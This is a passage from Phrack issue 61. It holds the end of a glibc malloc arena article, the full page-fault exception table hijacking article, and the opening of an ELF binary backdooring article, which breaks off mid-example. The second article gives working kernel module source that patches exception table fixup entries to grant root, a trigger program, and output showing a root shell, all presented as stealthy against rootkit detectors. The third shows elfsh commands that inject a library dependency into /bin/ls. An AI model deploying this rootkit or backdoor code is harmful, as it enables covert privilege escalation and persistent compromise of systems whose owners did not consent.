 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), IAV(103),
 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
    },
    &main_arena, /* next */
    0, /* size */
#if THREAD_STATS
    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
    MUTEX_INITIALIZER /* mutex */
};
```

The main_arena is the place where the allocator stores the ’bins’ to which the free chunks are linked depending on they size.

The little graph below resumes all the structures detailed before:

```
<main_arena> @ libc’s DATA
```

```
   [bin_n]          (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                                               [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
 [bin_n+1]          (last chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f

```
|=--------------=[ Hijacking Linux Page Fault Handler ]=------------------=|
|=--------------=[           Exception Table          ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ buffer <buffer@antifork.org> ]=---------------------=|
|=-----------------=[ http://buffer.antifork.org ]=----------------------=|
```

--[Contents

1. Introduction
2. System Calls and User Space Access
3. Page Fault Exception
4. Implementation
5. Further Considerations
6. Conclusions
7. Thanks
8. References

--[1 - Introduction

"Just another Linux LKM"... that's what you could think reading this article, but I think it's not correct. In the past years, we have seen a lot of techniques for hiding many kinds of things, e.g. processes, network connection, files, etc. etc., through the use of LKM's. The first techniques were really simple to understand. The real problem with these techniques is that they are easy to detect as well. If you replace an address in the syscall table, or if you overwrite the first 7 bytes within syscall code (as described by Silvio Cesare [4]), it's quite easy for tools such as Kstat [5] and/or AngeL [6] to identify these malicious activities. Later, more sophisticated techniques were presented. An interesting technique was proposed by kad, who suggested modifying the Interrupt Descriptor Table in such a way so as to redirect an exception raised from User Space code (such as the "Divide Error") to execute a new handler whose address replaced the original one in the IDT entry [7]. This idea is pretty but it has two disadvantages:

1- it's detectable using an approach based on hash values computed on the whole IDT, as shown by AngeL in its latest 0.9.x releases. This is mainly due to the fact that the address at which the IDT lives in kernel memory can be easily obtained since its value is stored in %idtr register. This register can be read with the asm instruction sidt which allows to store it in a variable.

2- if a user code executes a division by 0 (it may happen...) a strange behaviour could appear. Yes, someone could think that this is uncommon if we choose the right handler, but what if there is a safer solution?

The idea I'm proposing has just one goal: to provide effective stealth against all tools used for identifying malicious LKM's. The technique is based on a kernel feature which is never used in practice. In fact, as we are going to see, we will be exploiting a general protection mechanism in the memory management subsystem. This mechanism is used only if a user space code is deeply bugged and this is not usually the case.

No more words let's start!

--[2 - System Calls and User Space Access

First of all, a bit of theory. I'll refer to Linux kernel 2.4.20, however the code is almost the same for kernels 2.2. In particular we are interested in what happens in some situations when we need to ask a kernel feature through a syscall. When a syscall is called from User Space (through software interrupt 0x80) the system_call() exception handler is executed. Let's take a look to its implementation, found in arch/i386/kernel/entry.S.

```
ENTRY(system_call)
        pushl %eax                     # save orig_eax
        SAVE_ALL
        GET_CURRENT(%ebx)
        testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)            # save the return value
[..]
```

As we can easily see, system_call() saves all registers' contents in the Kernel Mode stack. It then derives a pointer to the task_struct structure of the currently executing process by calling GET_CURRENT(%ebx). Some checks are done to verify the correctness of syscall number and to see if the process is currently being traced. Finally the syscall is called by using sys_call_table, which maintains the addresses of the syscalls, by using the syscall number saved in %eax as an offset within the table. Now let's take a look at some particular syscalls. For our purposes, we are searching for syscalls which take a User Space pointer as an argument. I chose sys_ioctl() but there are other ones with a similar behaviour.

```
asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
        struct file * filp;
        unsigned int flag;
        int on, error = -EBADF;
[..]

          case FIONBIO:
                if ((error = get_user(on, (int *)arg)) != 0)
                        break;
                flag = O_NONBLOCK;
[..]
```

The macro get_user() is used to copy data from User Space to Kernel Space. In this case, we are directing our attention at the code for setting non blocking I/O on the file descriptor passed to the syscall. An example of correct use, from User Space, of this feature could be :

```
        int     on = 1;

        ioctl(fd, FIONBIO, &on);
```

Let's take a look at the get_user() implementation which can be found in include/asm/uaccess.h.

```
#define __get_user_x(size,ret,x,ptr) \
        __asm__ __volatile__("call __get_user_" #size \
                :"=a" (ret),"=d" (x) \
                :"0" (ptr))

/* Careful: we have to cast the result to the type of the pointer for sign
reasons */
#define get_user(x,ptr)                                                 \
({      int __ret_gu,__val_gu;                                          \
        switch(sizeof (*(ptr))) {                                       \
        case 1:  __get_user_x(1,__ret_gu,__val_gu,ptr); break;          \
        case 2:  __get_user_x(2,__ret_gu,__val_gu,ptr); break;          \
        case 4:  __get_user_x(4,__ret_gu,__val_gu,ptr); break;          \
        default: __get_user_x(X,__ret_gu,__val_gu,ptr); break;          \
        }                                                               \
        (x) = (__typeof__(*(ptr)))__val_gu;                             \
        __ret_gu;                                                       \
})
```

As we can see, get_user() is implemented in a very smart way because it calls the right function basing on the size of the argument to be copied from User Space. Depending on the value of (sizeof (*(ptr))) __get_user_1() , __get_user_2() or __get_user_4(), would be called.

Now let’s take a look at one of these functions, __get_user_4(), which can be found in arch/i386/lib/getuser.S.

```
addr_limit = 12

[..]

.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret

bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret

.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous
```

The last lines between .section and .previous identify the exception table which we’ll discuss later since it’s important for our purposes.

As it can be seen, the __get_user_4() implementation is straightforward. The argument address is in the %eax register. By adding 3 to %eax, it’s possible to obtain the greatest User Space referenced address. It’s necessary to control if this address is in the User Mode addressable range (from 0x00000000 to PAGE_OFFSET - 1, where PAGE_OFFSET is usually 0xc0000000).

If, when comparing the User Space address with current->addr_limit.seg (stored at offset 12 from the beginning of the task descriptor, whose pointer was obtained by zeroing the last 13 bits of the Kernel Mode stack pointer) we find it is greater than PAGE_OFFSET - 1, we jump to the label bad_get_user thus zeroing %edx and putting -EFAULT (-14) in %eax (syscall return value).

But what happens if this address is in the User Mode addressable range (below PAGE_OFFSET) but outside the process address space? Did someone say Page Fault?!

--[3 - Page Fault Exception

"A page fault exception is raised when the addressed page is not present in memory, the corresponding page table entry is null or a violation of the paging protection mechanism has occurred." [1]

Linux handles a page fault exception with the page fault handler do_page_fault(). This handler can be found in arch/i386/mm/fault.c

In particular, we are interested in the three cases which may occur when a page fault exception occurs in Kernel Mode.

In the first case, "the kernel attempts to address a page belonging to the process address space, but either the corresponding page frame does not exist (Demand Paging) or the kernel is trying to write a read-only page (Copy On Write)." [1]

In the second case, "some kernel function includes a programming bug that causes the exception to be raised when the program is executed; alternatively, the exception might be caused by a transient hardware error." [1]

This two cases are not interesting for our purposes.

The third (and interesting) case is when "a system call service routine (such as sys_ioctl() in our example) attempts to read or write into a memory area whose address has been passed as a system call parameter, but that address does not belong to the process address space." [1]

The first case is easily identified by looking at the process memory regions. If the address which caused the exception belongs to the process address space it will fall within a process memory region. This is not interesting for our purposes.

The interesting thing is how the kernel can distinguish between the second and the third case. The key to determining the source of a page fault lies in the narrow range of calls that the kernel uses to access the process address space.

For this purpose, the kernel builds an exception table in kernel memory. The boundaries of such region are defined by the symbols __start___ex_table and __stop___ex_table. Their values can be easily derived from System.map in this way.

```
buffer@rigel:/usr/src/linux$ grep ex_table System.map
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$
```

What’s the content of this memory region? In this region you could find couples of address. The first one (insn) represents the address of the instruction (belonging to a function which accesses the User Space address range, such as the ones previously described) which may raise a page fault. The second one (fixup) is a pointer to the "fixup code".

When a page fault occurs within the kernel and the first case (demand paging or copy on write) is not verified, the kernel checks if the address which caused the page fault matches an insn entry in the exception table. If it doesn't, we are in the second case and the kernel raises an Oops. Otherwise, if the address matches an insn entry in the exception table, we are in the third case since the page fault exception was raised while accessing a User Space address. In this case, the control is passed to the function whose address is specified in the exception table as fixup code.

This is done by simply doing this.

```
if ((fixup = search_exception_table(regs->eip)) != 0) {
                regs->eip = fixup;
                return;
        }
```

The function search_exception_table() searches for an insn entry in the exception table which matches the address of the instruction which raised the page fault. If it's found, it means the page fault exception was raised during an access to a User Space address. In this case, regs->eip is pointed to the fixup code and then do_page_fault() returns thus jumping to the fixup code.

It is obvious to realize that the three functions __get_user_x(), which access User Space addresses, must have a fixup code for handling situations like the one depicted before.

Going back let's take a look again at __get_user_4()

```
.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret

bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret

.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous
```

First of all, looking at the code, we should point our attention to the GNU Assembler .section directive which allows the programmer to specify which section of the executable file will contain the code that follows. The "a" attribute specifies that the section must be loaded in memory together with the rest of the kernel image. So, in this case, the three entries are inserted in the kernel exception table and are loaded with the rest of the kernel image.

Now, taking a look at __get_user_4() there's an instruction labeled with a

3.

```
3:      movl -3(%eax),%edx
```

If we added 3 to %eax (it is done in the first instruction of the function __get_user_4() for checking purposes as outlined before), -3(%eax) is the starting address of the 4-byte argument to copy from User Space. So, this is the instruction which really accesses User Space address. Take a look at the last entry in the exception table

```
        .long 3b,bad_get_user
```

If you know that the suffix b stands for 'backward' to indicate that the label appears in a previous line of code (and so simply ignore it just for understanding the meaning of this code), you could realize that here we have

```
        insn  :  address of   movl -3(%eax),%edx
        fixup :  address of   bad_get_user
```

Well guys what we are realizing here is that bad_get_user is the fixup code for the function __get_user_4() and it will be called every time the instruction labeled 3 raises a page fault. This is obviously still true for __get_user_1() and __get_user_2().

At this point we need bad_get_user address.

```
buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$
```

If you compile exception.c (shown later) with flag FIXUP_DEBUG set, you'll see this in your log files which clearly shows what I said before.

```
May 23 18:36:35 rigel kernel:  address : c0264530 insn: c022f361
                               fixup : c022f39c
May 23 18:36:35 rigel kernel:  address : c0264538 insn: c022f37a
                               fixup : c022f39c
May 23 18:36:35 rigel kernel:  address : c0264540 insn: c022f396
                               fixup : c022f39c
```

```
buffer@rigel:/usr/src/linux$  grep __get_user_ System.map
c022f354 T __get_user_1
c022f368 T __get_user_2
c022f384 T __get_user_4
```

Looking at the first entry in the exception table, we can easily realize that 0xc022f39c is the address of the instruction labeled 3 in the source code within __get_user_4() which may raise the page fault as outlined before. Obviously, the situation is similar for the other two functions.

Now the idea should be clear. If I replace a fixup code address in the exception table and then from User Space I just call a syscall with a bad address argument I can force the execution of whatever I want. And for doing this I need to modify just 4 bytes! Moreover, this appears to be particulary stealth since this situation is not so common. In fact, for raising this behaviour, it's necessary that the program you will execute contain a bug in passing an argument to a syscall. If you know this can lead to something interesting you could even do it but this situation is very uncommon. In the next section I present a proof of concept which shows how to exploit what I discussed. In this example, I modified fixup code addresses of the three __get_user_x() functions.

--[4 - Implementation

This is the LKM code. In this code, I hardcoded some values taken from my System.map file but it's not needed to edit the source file since these values can be passed to the module when calling insmod for linking it to the kernel. If you want more verbosity in the log files, compile it with the flag -DFIXUP_DEBUG (as done for showing results presented before).

```
---------------[ exception.c ]----------------------------------------

/*
 * Filename: exception.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */

#ifndef __KERNEL__
#define __KERNEL__
#endif

#ifndef MODULE
#define MODULE
#endif

#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE   0xc0264548
#define BAD_GET_USER       0xc022f39c

unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>

#ifdef FIXUP_DEBUG
#  define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
#  define PDEBUG(fmt, args...) do {} while(0)
#endif
```

```
MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");


struct old_ex_entry {
        struct old_ex_entry     *next;
        unsigned long           address;
        unsigned long           insn;
        unsigned long           fixup;
};

struct old_ex_entry *ex_old_table;

void hook(void)
{
        printk(KERN_INFO "Oh Jesus... it works!\n");
}

void cleanup_module(void)
{
        struct old_ex_entry     *entry = ex_old_table;
        struct old_ex_entry     *tmp;

        if (!entry)
                return;

        while (entry) {
                *(unsigned long *)entry->address = entry->insn;
                *(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
                tmp = entry->next;
                kfree(entry);
                entry = tmp;
        }

        return;
}


int init_module(void)
{
        unsigned long       insn = start_ex_table;
        unsigned long       fixup;
        struct old_ex_entry *entry, *last_entry;

        ex_old_table = NULL;
        PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);

        for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {

                fixup = insn + sizeof(unsigned long);

                if (*(unsigned long *)fixup == BAD_GET_USER) {

                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);

                        entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
                                        sizeof(struct old_ex_entry));

                        if (!entry)
                                return -1;

                        entry->next = NULL;
                        entry->address = insn;
                        entry->insn = *(unsigned long *)insn;
                        entry->fixup = *(unsigned long *)fixup;

                        if (ex_old_table) {
                                last_entry = ex_old_table;

                                while(last_entry->next != NULL)
                                        last_entry = last_entry->next;

                                last_entry->next = entry;
                        } else
                                ex_old_table = entry;

                        *(unsigned long *)fixup = (unsigned long)hook;

                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);


                }

        }

        return 0;
}

MODULE_LICENSE("GPL");

-------------------------------------------------------------------------
```

And now a simple code which calls ioctl(2) with a bad argument.

```
---------------- [ test.c ]----------------------------------------------


/*
 * Filename: test.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
```

```
int main()
{
        int     fd;
        int     res;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        return 0;
}

---------------------------------------------------------------------------
```

Ok let’s look if it works.

```
buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test
result = -1 errno = 14
```

As we expected, we got an EFAULT error (errno = 14).
Let’s try to link our module now.

```
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test
result = 25 errno = 0
buffer@rigel:~$
```

Looking at /var/log/messages

```
bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jesus... it works!
```

Seems it works fine! :)
What can we do now?! Try to take a look at this!

Just changing the previous hook() function with this simple one

```
        void hook(void)
        {
                current->uid = current->euid = 0;
        }
```

and using this user space code for triggering the page fault handler

```
------------ shell.c ------------------------------------------------------


/*
 * Filename: shell.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell’Aera ’buffer’ - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
        int     fd;
        int     res;
        char    *argv[2];

        argv[0] = "/bin/sh";
        argv[1] = NULL;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        execve(argv[0], argv, NULL);
        return 0;
}
```

```
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b#
```

Really nice, isn't it? :)

This is just an example of what you can do. Using this LKM, you are able to execute anything as if you were root. Do you need something else? Well what you need is simply modifying hook() and/or user space code which raises Page Fault exception... it's up to your fantasy now!

-- [5 - Further Considerations

When this idea came to my mind I wasn't able to realize what I really did. It came out just as the result of an intellectual masturbation. Just few hours later I understood...

Think about what you need for changing an entry in the syscall table for redirecting a system call. Or think about what you need for modifying the first 7 bytes of a syscall code as outlined by Silvio. What you need is simply a "reference mark". Here, your "reference mark" is the exported symbol sys_call_table in both cases. But, unfortunately, you're not the only one who knows it. Detection tools can easily know it (since it's an exported symbol) and so it's quite simple for them to detect changes in the syscall table and/or in the system call code.

What if you want to modify the Interrupt Descriptor Table as outlined by kad? You need a "reference mark" as well. In this case, the "reference mark" is the IDT address in the kernel memory. But this address is easy to retrieve too and what a detection tool needs to obtain it is simply this

```
        long long idtr;
        long __idt_table;

        __asm__ __volatile__("sidt %0\n" : : "m"(idtr));
        __idt_table = idtr >> 16;
```

As result, __idt_table will store the IDT address thus easily obtaining the "reference mark" to the IDT. This is done through using sidt asm instruction. AngeL, in its latest development releases 0.9.x, uses this approach and it's able to detect in real-time an attack based on what stated in [7].

Now think again about what I discussed in the previous sections. It's easy to understand that obtaining a "reference mark" to the page fault exception table is not so straightforward as in the previous cases.

The only way for retrieving the page fault exception table address is through System.map file.

While writing a detection tool whose aim is to detect this kind of attack, making the assumption that the System.map file refers to the currently running kernel could be counterproductive. In fact, if it weren't true, the detection tool could start monitor addresses where not important (obviously for the purposes of this article) kernel data reside.

Remember that it's easy to generate a System.map file through using nm(2) but there are a lot of systems out there whose administrators simply ignore the role of System.map and don't maintain it synchronized with the currently running kernel.

-- [6 - Conclusions

Modifying the page fault handler exception table is quite simple as we realized. Moreover, it is really stealth since it's possible to obtain great results just modifying 4 bytes in the kernel memory. In my proof of concept code, for the sake of simplicity, I modified 12 bytes but it's easy to realize that it's possible to obtain the same result just modifying the __get_user_4() fixup code address.

Moreover, it's difficult to find out there programs with bugs of this kind which raise this kind of behaviour. Remember that for raising this behaviour you have to pass a wrong address to a syscall. How many programs doing this have you seen? I think that this kind of approach is really stealth since this situation is never encountered. In fact, these are bugs that, if present, are usually corrected by the author before distributing their programs. The kernel must implement the approach outlined before but it usually never needs to execute it.

-- [7 - Thanks

Many thanks to Antifork Research guys... really cool to work with you!

-- [8 - References

[1] "Understanding the Linux Kernel"
Daniel P. Bovet and Marco Cesati
O'Reilly

[2] "Linux Device Drivers"
Alessandro Rubini and Jonathan Corbet
O'Reilly

[3] Linux kernel source
[http://www.kernel.org]

[4] "Syscall Redirection Without Modifying the Syscall Table"
Silvio Cesare
[http://www.big.net.au/~silvio/]

[5] Kstat
[http://www.s0ftpj.org/en/tools.html]

[6] AngeL
[http://www.sikurezza.org/angel]

[7] "Handling Interrupt Descriptor Table for Fun and Profit"
kad
Phrack59-0x04
[http://www.phrack.org]

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f

```
|=----------- .:: Devhell Labs and Phrack Magazine present ::. -----------=|
|=-------------------------------------------------------------------------=|
|=------------------=[  The Cerberus ELF Interface  ]=------------------=|
|=-------------------------------------------------------------------------=|
|=------------------=[  mayhem <mayhem@devhell.org> ]=------------------=|
```

1. Introduction
2. Quick and usable backdoor in 4 bytes
   a/ The .dynamic section
   b/ DT_NEEDED and DT_DEBUG entries
   c/ Performing function hijacking
   d/ Example 1: ls and opendir()
3. Residency : ET_REL injection into ET_EXEC
   a/ Section injection : pre-interp vs post-bss
   b/ Multiple BSS merging
   c/ Symbol tables merging
   d/ Mixing (a,b,c) for injecting a module into an executable
   e/ Example 2: sshd and crypt()
   f/ Multi-architecture algorithms
   g/ ELFsh 0.51b relocation engine implementation details
4. Infection : ALTPLT technique
   a/ Foundations of ALTPLT
   b/ ALTPLT on SPARC
   c/ Example 3: md5sum and fopen64()
   d/ Multi-architecture algorithm
   e/ Improvement suggestions for the redir command
5. The end ?
6. Greets
7. References

-------[1. Introduction

This article introduces three new generic techniques in ELF (Executable and Linking Format) objects manipulation. The first presented one is designed to be simple and quickly implemented, others are more complex and allow advanced software extension without having the source tree. These techniques can be used for a wide panel of requirements such as closed-source software debugging, software extension, backdooring, virii writing, intrusion detection and intrusion prevention.

The examples will make use of the ELF shell [1], a freely available scripting language to modify ELF binaries. It works on two architectures (INTEL and SPARC) and four operating systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the techniques work even if the target machine is installed with address space randomization and execution restriction, such as PaX [2] protected boxes, since all the code injection is done in the allowed areas.

ELF basics -will not- be explained, if you have troubles understanding the article, please read the ELF TIS [3] reference before requesting extra details ;). You can also try another resource [4] which is a good introduction to the ELF format, from the virus writing perspective.

In the first part of the paper, an easy and pragmatic technique for backdooring an executable will be described, just by changing 4 bytes. It consists of corrupting the .dynamic section of the binary (2) and erase some entries (DT_DEBUG) for adding others (DT_NEEDED), plus swapping existing DT_NEEDED entries to give priority to certain symbols, all of this without changing the file size.

The second part describes a complex residency technique, which consists of adding a module (relocatable object ET_REL, e.g. a .o file) into an executable file (ET_EXEC) as if the binary was not linked yet. This technique is provided for INTEL and SPARC architectures : compiled C code can thus be added permanently to any ELF32 executable.

Finally, a new infection technique called ALTPLT (4) will be explained. This feature is an extension of PLT infection [5] and works in correlation with the ET_REL injection. It consists of duplicating the Procedure Linkage Table and inject symbols onto each entry of the alternate PLT. The advantages of this technique are the relative portability (relative because we will see that minor architecture dependant fixes are necessary), its PaX safe bevahior as well, and the ability to call the original function from the hook function without having to perform painful tasks like runtime byte restoration.

Example ELFsh scripts are provided for all the explained techniques. However, no ready-to-use backdoors will be included (do you own!). For peoples who did not want to see these techniques published, I would just argue that all of them have been available for a couple of months for those who wanted, and new techniques are already in progress. These ideas were born from a good exploitation of the information provided in the ELF reference and nothing was ripped to anyone. I am not aware of any implementation providing these features, but if you feel injuried, you can send flame emails and my bot^H^H^H^H^H I will kindly answer all of them.

-------[2. Quick and usable backdoor in 4 bytes

Every dynamic executable file contains a .dynamic section. This zone is useful for the runtime linker in order to access crucial information at runtime without requiring a section header table (SHT), since the .dynamic section data matches the bounds of the PT_DYNAMIC segment entry of the Program Header Table (PHT). Useful information includes the address and size of relocation tables, the addresses of initialization and destruction routines, the addresses of version tables, pathes for needed libraries, and so on. Each entry of .dynamic looks like this, as shown in elf.h :

```
typedef struct
{
  Elf32_Sword   d_tag;                 /* Dynamic entry type */
  union
   {
     Elf32_Word d_val;                 /* Integer value */
     Elf32_Addr d_ptr;                 /* Address value */
   } d_un;
 } Elf32_Dyn;
```

For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is the related value. Let's use the elfsh '-d' option to print the dynamic section:

```
 -----BEGIN EXAMPLE 1-----
 $ elfsh -f /bin/ls -d

  [*] Object /bin/ls has been loaded (O_RDONLY)
 [SHT_DYNAMIC]
 [Object /bin/ls]

 [00] Name of needed library          =>  librt.so.1 {DT_NEEDED}
 [01] Name of needed library          =>   libc.so.6 {DT_NEEDED}
 [02] Address of init function        =>  0x08048F88 {DT_INIT}
 [03] Address of fini function        =>  0x0804F45C {DT_FINI}
 [04] Address of symbol hash table    =>  0x08048128 {DT_HASH}
 [05] Address of dynamic string table =>  0x08048890 {DT_STRTAB}
 [06] Address of dynamic symbol table =>  0x08048380 {DT_SYMTAB}
 [07] Size of string table            =>   821 bytes {DT_STRSZ}
 [08] Size of symbol table entry      =>    16 bytes {DT_SYMENT}
 [09] Debugging entry (unknown)       =>  0x00000000 {DT_DEBUG}
 [10] Processor defined value         =>  0x0805348C {DT_PLTGOT}
 [11] Size in bytes for .rel.plt      =>   560 bytes {DT_PLTRELSZ}
 [12] Type of reloc in PLT            =>          17 {DT_PLTREL}
 [13] Address of .rel.plt             =>  0x08048D58 {DT_JMPREL}
 [14] Address of .rel.got section     =>  0x08048D20 {DT_REL}
 [15] Total size of .rel section      =>    56 bytes {DT_RELSZ}
 [16] Size of a REL entry             =>     8 bytes {DT_RELENT}
 [17] SUN needed version table        =>  0x08048CA0 {DT_VERNEED}
 [18] SUN needed version number       =>           2 {DT_VERNEEDNUM}
 [19] GNU version VERSYM              =>  0x08048BFC {DT_VERSYM}

 [*] Object /bin/ls unloaded

$
-----END EXAMPLE 1-----
```

The careful reader would have noticed a strange entry of type DT_DEBUG. This entry is used in the runtime linker to retrieve debugging information, it is present in all GNU tools generated binaries but it is not mandatory. The idea is to erase it using a forged DT_NEEDED, so that an extra library dependance is added to the executable.

The d_val field of a DT_NEEDED entry contains a relative offset from the beginning of the .dynstr section, where we can find the library path for this entry. What happens if we want to avoid injecting an extra library path string into the .dynstr section ?

```
-----BEGIN EXAMPLE 2-----
$ elfsh -f /bin/ls -X dynstr | grep so
.dynstr + 16  6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
.dynstr + 48  696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
.dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
.dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
$
-----END EXAMPLE 2-----
```

We just have to choose an existing library path string, but avoid starting at the beginning ;). The ELF reference specifies clearly that a same string in .dynstr can be used by multiple entries at a time:

```
-----BEGIN EXAMPLE 3-----
$ cat > /tmp/newlib.c
function()
{
  printf("my own fonction \n");
}
$ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
$ elfsh

 Welcome to The ELF shell 0.5b9 .::.

 .::. This software is under the General Public License
 .::. Please visit http://www.gnu.org to know about Free Software

[ELFsh-0.5b9]$ load /bin/ls
  [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003

[ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG

[SHT_DYNAMIC]
[Object /bin/ls]

[00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
[01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
[09] Debugging entry (unknown)         =>          0x00000000 {DT_DEBUG}

[ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
 [*] Field set succesfully

[ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19
 [*] Field set succesfully

[ELFsh-0.5b9]$ save /tmp/ls.new
 [*] Object /tmp/ls.new saved successfully

[ELFsh-0.5b9]$ quit
 [*] Unloading object 1 (/bin/ls) *

 Good bye ! .::. The ELF shell 0.5b9

$
-----END EXAMPLE 3-----
```

Lets verify our changes:

```
-----BEGIN EXAMPLE 4-----
$ elfsh -f ls.new -d DT_NEEDED

[*] Object ls.new has been loaded (O_RDONLY)

[SHT_DYNAMIC]
[Object ls.new]

[00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
